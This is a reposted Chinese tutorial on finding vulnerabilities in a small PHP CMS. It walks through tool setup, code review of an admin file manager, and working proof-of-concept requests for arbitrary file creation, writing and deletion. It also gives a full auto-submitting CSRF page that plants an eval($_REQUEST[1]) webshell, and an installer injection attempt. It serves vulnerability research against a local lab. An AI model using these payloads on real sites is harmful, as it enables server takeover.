漏洞挖掘 | 通用型漏洞挖掘思路技巧

 `搜索公众号:白帽子左一,每天更新技术干货!

作者:ajie

转自地址:https://xz.aliyun.com/t/10539

0x01 前言

大概是在上半年提交了某个CMS的命令执行漏洞,现在过了那么久,也想通这次现挖掘通用型漏洞,整理一下挖掘思路,分享给大家。

0x02 挖掘前期

一、CMS选择

如果你是第一次挖白盒漏洞,那么建议你像我一样,先找一些简单的来挖掘。
具体源码下载地址可以参考:

https://github.com/search?q=cms
https://search.gitee.com/?skin=rec&type=repository&q=cms
https://down.chinaz.com/
https://www.a5xiazai.com/

百度找找,肯定不止这些

图片

那么应该怎么选择呢

(这里我是站在第一次挖掘,或者仅使用过扫描工具扫描的师傅的角度这样说的,如果做过开发,代码功底很强等情况,emm…当我没说。):

1、找最新版的版本较低的,例如1.1、1.2
2、找github star不多的
3、找源码总容量小的
4、尽量不要找使用tp、yii、laravel等框架型CMS

这里说一下理由:

1、如果cms版本高,说明开发有经常维护,同时也说明里面的简单漏洞已经被发现并且被提交并整改了。(具体这个可以看看CMS官网放出的更新日志)

图片

图片

2、为什么找github star不多的cms?很简单,使用的人不多,没人标星,功能也比较少。

3、源码少容易看啊,而且想着源代码就那么点,看着也不会太心累。

4、这是我个人的理解哈,因为就像很多人说的,第一个审的可以看看bluecms。

为什么?因为简单啊,tp框架首先各种C方法,I方法的,就够头疼了。

扯了那么多,总结一句话:

跟挖SRC一样,如果你一开始就瞄着阿里SRC、百度SRC等来挖掘,一直挖不到洞,是不是心态崩了呢;如果你一开始借助nday的poc,结合fofa搜集资产,一下子就能挖到简单、小型企业的漏洞,虽然可能漏洞奖金不多、但是满满的成就感有没有~

代码审计也是一样的,一开始就找框架型的,MVC架构的CMS,不仅可能看不懂代码,还可能连路由都弄不懂呢。所以一开始还是找些简单的练练手比较好~

二、环境准备

1、PHPstudy
PHP、中间件、数据库,一个软件搞定,反正我是觉得用着很香。
下载地址:
https://www.xp.cn/
图片

2、代码扫描工具
目前的话我用的比较多的是seay和fortify。这里其实都一样,不是所有漏洞都是要通读代码来发现的,有的时候借助工具可以快很多。

https://github.com/f1tz/cnseay

图片

图片

3、BurpSuite
渗透测试神器级别的工具,这里不多介绍了,毕竟挖漏洞不抓包怎么行呢。

图片

4、漏洞扫描工具

虽然我们拿到了源码,但是挖漏洞也不一定要从代码上进行呀,可以结合黑盒的方式,黑白盒一起,更容易挖到漏洞,也就是业内说的灰盒测试。

扫描工具这里推荐Xray+burp联动进行。

随便抓几个包,有没有漏洞一目了然,让我们可以在测试漏洞的时候,还同时进行扫描。

下载地址:
https://github.com/chaitin/xray/releases

图片

5、编辑器

编辑器的作用是方便查看代码,在有需要的时候才用,这里可以算是我水字数吧,我个人比较喜欢nopad++,当然别的也是可以的,phpstorm最好,可以快捷进行函数跳转。

三、搭建环境

1、首先下载源码,解压并放到phpstudy安装目录下的WWW文件夹中

图片

2、安装方法一般是请求http://127.0.0.1/install/就可以了,按照提示输入信息。

图片

3、提示安装成功即可

图片

0x03 挖掘中期

一、代码扫描

借助seay自带的自动审计功能进行代码扫描

图片

二、黑白盒配合发现漏洞

这个其实是很有搞头的,这里没有详细说是因为当时确实重心在白盒上,实际上我感觉这个发现漏洞再去找对应的代码,会更加有趣些
1、浏览器设置代理,指向burp:127.0.0.1:8080

图片

图片

2、burp设置代理,指向xray:127.0.0.1:7777

图片

3、开启xray被动扫描,命令:

./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output test.html

在这里插入图片描述

4、在每个功能点都点一点,就跟正常测黑盒即可

图片

5、查看xray扫描结果

图片

6、查看代码扫描结果

图片

三、分析扫描结果

1、将结果一个个点击查看,分析漏洞是否真实存在
因为工具是按照正则匹配来进行扫描的,总会出现一些可能存在,但是实际不存在的情况,例如这个:

图片

因为 G [ ′ S Y S T E M ′ ] [ ′ P A T H ′ ] 疑 似 为 可 控 变 量 , 所 以 爆 出 任 意 文 件 包 含 漏 洞 , 那 么 实 际 上 , 往 上 看 可 以 发 现 _G['SYSTEM']['PATH']疑似为可控变量,所以爆出任意文件包含漏洞,那么实际上,往上看可以发现 G[SYSTEM][PATH]_G[‘SYSTEM’][‘PATH’]其实已经事先定义好了。

图片

2、定位漏洞

1)发现一个file_get_contents,可控变量为$path

图片

往前看,$path为我们直接get传入,只是做了一些限制与鉴权,没有进行过滤

图片

$path = realpath($_GET['path']);
if (!$path) {if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {PkPopup('{content:"不存在的路径,请求路径:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');}ExitJson('不存在的路径,请求路径:' . $_GET['path']);
}
$_G['TEMP']['PATH'] = iconv('GBK', 'UTF-8//IGNORE', $path);
if (strpos($path, $spath) !== 0) {if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {PkPopup('{content:"越权操作,请求路径:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');}ExitJson('越权操作,请求路径:' . $_GET['path']);
}switch ($type) {case 'edit' :if (filetype($path) != 'file') {if ($_G['GET']['JSON']) {ExitJson('不存在的文件');}PkPopup('{content:"不存在的文件",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');}$suffix = substr($path, strrpos($path, '.') + 1);if (!InArray($suffixs, $suffix)) {if ($_G['GET']['JSON']) {ExitJson('不支持的文件格式');}PkPopup('{content:"不支持的文件格式",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');}$filecontent1 = file_get_contents($path);$filecontent = htmlspecialchars($filecontent1, ENT_QUOTES);if ($filecontent1 && !$filecontent) {if ($_G['GET']['JSON']) {ExitJson('不支持该文件编码,仅支持UTF-8');}PkPopup('{content:"不支持该文件编码,仅支持UTF-8",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');}if ($_G['GET']['JSON']) {ExitJson($filecontent1, TRUE);}$path = str_replace('\\', '/', $path);$paths = explode('/', $path);$path = '';for ($i = 0; $i < count($paths); $i++) {if ($i == count($paths) - 1) {$filename = $paths[$i];} else {$path .= $paths[$i] . '/';}}ExitGourl('index.php?c=app&a=filesmanager:index&path=' . urlencode(realpath($path)) . '&editbtn=' . md5($filename));break;

2)往下看,对$path进行unlink(),即删除操作

在这里插入图片描述

case 'del' :$r = unlink($path);ExitJson('操作完成', $r);break;

3)再往下,传入mkname,使用file_put_contents进行文件创建,内容为空。

很明显只是检测是否存在重复创建的情况,未进行过滤。

在这里插入图片描述

case 'mkfile' :$mkname = $_GET['mkname'];if (!$mkname) {ExitJson('请输入目录或文件的名称');}if ($type == 'mkdir') {if (file_exists($path . "/{$mkname}")) {ExitJson('目录已存在');}$r = mkdir($path . "/{$mkname}");} else {if (file_exists($path . "/{$mkname}")) {ExitJson('文件已存在');}$r = file_put_contents($path . "/{$mkname}", '');}ExitJson('操作完成', $r === FALSE ? FALSE : TRUE);break;
}

3、研究路由,查看如何调用漏洞函数

1)首先查看这个漏洞路径为/app/filesmanager/index.php
字面上意思是在/app/目录下的一个文件管理的操作

2)回到网站,刚刚黑盒测试的时候,发现路由规律为:

图片

图片

请求了http://192.168.150.9/index.php?c=read&id=1&page=1后,会发出这样的一个请求:/index.php?c=app&a=puyuetianeditor:index&s=myfiles&page=1

通过a=puyuetianeditor:index,定位文件位置为/app/puyuetianeditor/index.php

图片

3)在文件中看到继续请求了’/app/puyuetianeditor/phpscript/’ . $_G[‘GET’][‘S’] . '.php,在URL中可以看到s传入的参数为myfiles

所以可以定位文件路径为:/app/puyuetianeditor/phpscript/myfiles.php

图片

4)漏洞路径/app/filesmanager/index.php即可以对应URL

/?c=app&a=filesmanager:index

四、验证漏洞

任意创建文件

1、搭建网站并登录进网站后台

图片

2、漏洞存在点为/app/filesmanager/index.php

图片

3、进行一些操作后,通过file_put_contents创建文件
poc:

http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=mkfile&mkname=123.php

图片

4、在网站根目录可以看到文件创建成功

图片

任意文件写入
poc:

http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=save&path=123.php
POST:
filecontent=<?php phpinfo();?>

图片

漏洞文件存在的路径为/app/filesmanager/index.php

图片

可以看到文件内容成功写入

在这里插入图片描述

尝试执行命令

图片

任意文件删除
poc:

http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=del&path=123.php

图片

漏洞文件存在的路径为/app/filesmanager/index.php

图片

可以看到123.php文件已成功删除。

图片

五、组合漏洞扩大成果

1、任意文件删除配合系统重装(失败)

以前就有看到过这样的漏洞,因为系统重装的时候,会将用户输入的配置信息写入到php文件中,那么如果可以输入代码,便可以成功执行了,这里尝试一下。

1)首先查看index.php文件

只要install.locked文件存在即表示网站已安装

图片

2)再看/install/index.php,可以看到也是这个文件存在即不能重装系统。

图片

3)通过任意文件删除,将此文件进行删除:

http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=del&path=C://phpStudy/WWW/install/install.locked
图片

4)访问/install/index.php即可进行重装系统操作

图片

5)正常执行,在step=2的时候,输入数据库等信息

图片

图片

定位到/phpscript/environment.php文件

图片

再到/template/environment.hst

图片

发现关键字mysql_username

图片

全局搜索一下,定位文件位置:

图片

图片

可以看到配置信息最后会写入到这里。

图片

6)抓取传入信息的数据包,进行测试

图片

图片

多次fuzz,确认确实可以写入一些东西

POST /install/index.php?step=3 HTTP/1.1
Host: 192.168.150.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 302
Origin: http://192.168.150.9
Connection: close
Referer: http://192.168.150.9/install/index.php?step=2
Cookie: PHPSESSID=b9imt0v97o8hsml01jr0tro9n3; UIA=KXoyLywxNlo2YDQtLl8tX2BlMjAqLzUqX103Y1xlZWBcMzFeXi4xXjQsYDBeMC8tZDEsXjIxMCoxLjIvXmQ1Y14w; app_puyuetianeditor_editcontent=%3Cbr%3E_webos=*&mysql_type=mysql&mysql_location=127.0.0.1&mysql_username=root&mysql_password=root&mysql_database='eval($_REQUEST[1])&mysql_prefix=pk_&mysql_charset=set+names+utf8&adminusername=phpinfo();&adminpassword=phpinfo();&adminemail=admin%40qq.com&hs_username=&hs_password=&hs_domain=192.168.150.9

图片

7)最后发现不能传入;,否则会报错

图片

8)假设传入进去了,又会显示403

图片

图片

9)感觉有机会,后面就看师傅们尝试了。。。

2、任意文件写入配合CSRF(成功)

在dedecms中看到过的漏洞,因为后台的任意写文件在没有管理员权限的支持下无法利用,那么倘若配合CSRF漏洞,借用管理员的cookie便可以直接执行,扩大漏洞危害。

在这里尝试一下:

1)首先抓取写入文件的数据包,可以看到没有明显的token等字段

图片

2)在漏洞文件中只是看到了权限检测

图片

3)使用burp生成任意文件写入的CSRF漏洞POC,保存为test.html

图片

图片

4)生成任意文件创建的CSRF漏洞POC

图片

5)将两个文件整合到一起,并设置自动提交

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form id='test1' action="http://192.168.150.9/index.php"><input type="hidden" name="c" value="app" /><input type="hidden" name="a" value="filesmanager&#58;index" /><input type="hidden" name="type" value="mkfile" /><input type="hidden" name="mkname" value="123&#46;php" /><input type="submit" value="Submit request" /></form><form id='test2' action="http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=save&path=123.php" method="POST"><input type="hidden" name="filecontent" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;REQUEST&#91;1&#93;&#41;&#59;&#63;&gt;" /><input type="submit" value="Submit request" /></form><script>function test1() {document.getElementById("test1").submit();}function test2() {document.getElementById("test2").submit();}setTimeout(test1,100)setTimeout(test2,200)</script></body>
</html>

6)在已登录的浏览器中打开test.html文件

跳转了几次后,显示ok,保存失败

图片

跟前面任意文件写入的返回是一样的,在网站根目录可以看到已经成功写入了

图片

执行命令

图片

0x04 挖掘后期&总结

挖掘后干嘛?提交漏洞呗~

好的,这个算是刚开始学习没多久挖掘到的漏洞,其实现在觉得技术含量不高,发现漏洞也不难,主要想分享一下过程以及思路。

最后,希望看到这篇文章到小伙伴也能很快挖掘到通用型漏洞~
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/1620580.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

WEB漏洞挖掘——思路指南

本篇主要记录了WEB漏洞挖掘学习过程中的信息收集部分&#xff0c;web渗透最重要的便是信息收集&#xff0c;希望以下内容能够给予同在漏洞挖掘学习中的小伙伴一些帮助&#xff0c;若有不足之处可以告诉我&#xff0c;大家一起努力进步。大佬路过也请多多指点&#xff01; 目录…

常见的Web漏洞——XSS

目录 XSS简介 XSS原理及分类 反射型XSS 存储型XSS 基于DOM的XSS XSSer的使用 至少有一个的参数&#xff1a; 可选的参数&#xff1a; 检查选项 选择攻击向量 绕过防火墙选项 绕过器选项 特殊技术 最后注入选项 特殊最后注入选项 报告导出 XSSer演示 BeEF-XSS…

【burpsuite安全练兵场-服务端6】信息泄露漏洞-5个实验(全)

前言&#xff1a; 介绍&#xff1a; 博主&#xff1a;网络安全领域狂热爱好者&#xff08;承诺在CSDN永久无偿分享文章&#xff09;。 殊荣&#xff1a;CSDN网络安全领域优质创作者&#xff0c;2022年双十一业务安全保卫战-某厂第一名&#xff0c;某厂特邀数字业务安全研究员&…

XSS攻击是怎么回事?记录一下

title: XSS攻击 date: 2023-08-27 19:15:57 tags: [XSS, 网络安全] categories: 网络安全 今天学习了一个网络攻击的手段&#xff0c;XSS攻击技术&#xff0c;大家自建网站的朋友&#xff0c;记得看看是否有此漏洞。 &#x1f388; XSS 攻击 全称跨站脚本攻击 Cross Site Sc…

基于JAVA_Swing的图形化GUI漏洞扫描工具开发的编程思维

文章目录 前言一、工具外观整体设计二、漏洞检测类模块总结2022年6月27日更新此篇 前言 CSDN博客有很长一段时间没有更新&#xff0c;漏洞复现的文章也没有经常发了&#xff0c;原因是因为我这段时间在做一件大事&#xff0c;并且这件大事已经做完啦&#xff01;&#xff01;&…

Xray工具~(Web自动化漏洞检测)

Web自动化漏洞检测~Xray工具 下载地址: GitHub&#xff1a;https : //github.com/chaitin/xray/releases Xray 是一款功能强大的安全评估工具,主要特性有: 检测速度快。发包速度快; 漏洞检测算法高效。 支持范围广。大至 OWASP Top 10 通用漏洞检测&#xff0c;小至各种 CMS 框…

Arp欺骗截cookies入侵“中国黑客”网站(图)

放假回家&#xff0c;暂时没有自己的电脑&#xff0c;只能跑网吧。打开ie就看见网吧主页。。。这个网吧是我家附近作的最好的。在这里玩过几次&#xff0c;也提醒过老板一些漏洞。不过漏洞天天更新么~ 是个2级域名111.lzbiz.com。换成www&#xff0c;竟然是个黑客网站。。。名…

目标URL存在跨站漏洞

URL存在跨站漏洞 &#x1f696;漏洞复现&#x1f696;漏洞描述&#x1f696;解决方法&#x1f696;对于开发&#x1f696;对于安全操作&#x1f696;对于质量保证 &#x1f696;漏洞复现 记录学习中遇到的问题 该页面存在反射型XSS payload citynull&accountnull&pa…

我的第一次真实对国外某购物平台web漏洞挖掘

&#xff08;真实世界&#xff09;我的第一次真实对国外某购物平台web漏洞挖掘 开放重定向 - 低危XSS - 低危 这两组合起来就完全不一样一点的&#xff0c;个人觉得比原本高一些 危害&#xff1a;窃取用户敏感数据、用户cookie、钓鱼操作 等… 前言 这是我第一次&#xff…

对某代刷网站的渗透测试

0x01 今天闲来无事&#xff0c;在网上冲浪看帖&#xff0c;看到有个人发了一个代刷网站链接&#xff0c;出于好奇就点进去看了下&#xff0c;一看&#xff0c;好家伙&#xff0c;业务还挺多啊。可惜都要钱&#xff0c;咱可没钱&#xff01; 0x02 然后便想看看有没有办法白嫖&…

基于JavaFx的ThinkPHP漏洞扫描工具---RexHa(Aazhen)的一些说明

文章目录 吹水环节一、工具的功能&#xff08;新旧版本对比&#xff09;二、工具的使用与操作2.1 工具新旧版展示2.2 漏洞单个扫描验证功能展示2.2.1 Thinkphp-2.x rce--&#x1f44c;&#x1f3fb;2.2.2 ThinkPHP-5.0.23-RCE--&#x1f44c;&#x1f3fb;2.2.3 ThinkPHP5.0.x-…

渗透测试中真实IP

发现了一篇两年前的好文章&#xff0c;转载给大家看看&#xff0c;方便自己以后查阅。 CDN简介 CDN的全称是Content Delivery Network&#xff0c;即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节&#xff0c;使内容传输的更快、更…

常见的安全测试漏洞

一、SQL注入攻击 SQL 注入攻击主要是由于程序员在开发过程中没有对客户端所传输到服务器端的参数进行严格的安全检查&#xff0c;同时 SQL 语句的执行引用了该参数&#xff0c;并且 SQL 语句采用字符串拼接的方式执行时&#xff0c;攻击者将可能在参数中插入恶意的 SQL 查询语…

检测到目标URL存在http host头攻击漏洞,修复方案:在Web服务器防止Host头攻击

一、前言 漏洞描述&#xff1a;为了方便的获得网站域名&#xff0c;开发人员一般依赖于HTTP Host header。例如&#xff0c;在php里用_SERVER[“HTTP_HOST”]。但是这个header是不可信赖的&#xff0c;如果应用程序没有对host header值进行处理&#xff0c;就有可能造成恶意代…

一次简单的渗透测试,快来测测P站有没有漏洞吧!

前言 下午闲来无事&#xff0c;拿自己站玩玩&#xff0c;也算是一次比较完备地漏洞挖掘。文末插入福利 信息搜集 在fofa上找到一个后台的站。 一个普通的后台&#xff0c;弱口令&#xff0c;sql注入没打进去。 从错误路由中得知框架是tp的 这个版本是存在RCE漏洞的 直接嗦…

Git企业开发控制理论和实操-从入门到深入(五)|标签管理

前言 那么这里博主先安利一些干货满满的专栏了&#xff01; 首先是博主的高质量博客的汇总&#xff0c;这个专栏里面的博客&#xff0c;都是博主最最用心写的一部分&#xff0c;干货满满&#xff0c;希望对大家有帮助。 高质量博客汇总 然后就是博主最近最花时间的一个专栏…

如何使用腾讯云服务器搭建网站?

使用腾讯云服务器搭建网站全流程&#xff0c;包括轻量应用服务器和云服务器CVM建站教程&#xff0c;轻量可以使用应用镜像一键建站&#xff0c;云服务器CVM可以通过安装宝塔面板的方式来搭建网站&#xff0c;腾讯云服务器网分享使用腾讯云服务器建站教程&#xff0c;新手站长搭…

iOS swift5 扫描二维码

文章目录 1.生成二维码图片2.扫描二维码&#xff08;含上下扫描动画&#xff09;2.1 记得在info.plist中添加相机权限描述 1.生成二维码图片 import UIKit import CoreImagefunc generateQRCode(from string: String) -> UIImage? {let data string.data(using: String.En…

使用windeployqt和InstallShield打包发布Qt软件的流程

前言 Qt编译之后需要打包发布&#xff0c;并且发布给用户后需要增加一个安装软件&#xff0c;通过安装软件可以实现Qt软件的安装&#xff1b;用于安装软件的软件有很多&#xff0c;这里主要介绍InstallShield使用的流程&#xff1b; 使用windeployqt打包Qt编译后的程序 Qt程序…

【论文笔记】最近看的时空数据挖掘综述整理8.27

Deep Learning for Spatio-Temporal Data Mining: A Survey 被引用次数&#xff1a;392 [Submitted on 11 Jun 2019 (v1), last revised 24 Jun 2019 (this version, v2)] 主要内容&#xff1a; 该论文是一篇关于深度学习在时空数据挖掘中的应用的综述。论文首先介绍了时空数…